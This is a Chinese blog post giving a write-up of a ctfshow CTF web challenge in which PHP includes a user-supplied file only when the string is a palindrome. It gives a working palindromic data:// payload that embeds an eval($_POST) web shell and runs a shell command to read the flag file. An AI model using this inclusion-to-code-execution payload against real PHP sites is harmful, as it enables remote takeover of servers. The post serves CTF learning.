ctfshow单身杯web签到

<?php

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-03-19 12:10:55
# @Last Modified by:   h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

error_reporting(0);
highlight_file(__FILE__);

$file = $_POST['file'];

if(isset($file)){
    if(strrev($file)==$file){
        include $file;
    }

}

 题目如上。

首先很明显这是一个文件包含漏洞类型的题目。

不过这个题目有一个strrev()方法

这个方法就是把字符串逆序。

首先考虑用php伪协议,php://fiter/convert.base64-encode/resource=index.php但是很明显这个没法过判断。

 

于是得考虑有什么方法既可以在后面加个逆序又不影响注入的。

想到了data协议

payload如下

data://text/plain,<?php eval($_POST[1]);?>>?;)]1[TSOP_$(lave php?<,nialp/txet//:atad&1=echo `cat /f1agaaa`;

 

为什么可以这样呢,其实可以这么看

<?php
$c = 'data://text/plain,<?php eval($_POST[1]);?>';
echo $c . strrev($c);

?>
12333

 

 你会发现,你这样输出的时候前面的<?php eval($_POST[1]);?>不见了,

假如你把它改成

 

你又会发现 

 

 他变成了这样,说明输出的这个直接被当成php执行了。而且后面的就是php之外的,它会直接打印出来。

 

posted @ 2022-06-29 15:56  FPointmaple  阅读(505)  评论(3编辑  收藏  举报